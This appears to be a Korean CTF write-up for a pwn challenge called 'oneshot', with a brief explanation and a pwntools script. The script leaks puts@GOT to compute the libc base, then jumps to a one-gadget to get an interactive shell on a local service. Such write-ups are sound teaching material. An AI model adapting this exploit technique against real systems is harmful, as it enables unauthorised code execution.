소스코드는 되게 간단하다.
주소값을 입력하면 그 주소의 위치를 가르쳐준다. 그리고 원하는 주소로 이동을 할 수 있다.
libc 주소를 구할 수 있으므로, oneshot(magic) 가젯을 이용하여 문제를 풀 수 있다.
(magic 가젯은 로컬과 xinetd로 돌아가는 서비스에서만 사용 가능)
[ Exploit Code ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | from pwn import * from time import * e = ELF('./oneshot') main = 0x400646 puts_got = 0x600ad8 offset_puts = 0x06f690 #offset_system = 0x045390 #offset_str_bin_sh = 0x18cd57 offset_oneshot = 0xf1147#0x4526a p = remote('127.0.0.1', 8888) raw_input(">") print p.recvuntil("Read location?") p.sendline(str(puts_got)) print p.recvuntil("Value: ") #print p.recv(18) libc_addr = int(p.recv(18), 0) - offset_puts oneshot_addr = libc_addr + offset_oneshot print "[+] libc_addr = 0x%x" % libc_addr print "[+] oneshot_addr = 0x%x" % oneshot_addr print p.recvuntil("Jump location?") p.sendline(str(oneshot_addr)) p.interactive() | cs |
'CTF > etc.' 카테고리의 다른 글
KYSIS CTF 2018 Write up (0) | 2018.08.21 |
---|---|
[Plaid CTF 2015] EBP (0) | 2018.04.19 |
[Defcon 26 quals 2016] feedme (0) | 2017.11.19 |
[QIWI CTF 2016] PWN 200_3 (0) | 2016.12.06 |
[Defcon 25 quals 2015] r0pbaby (0) | 2016.11.10 |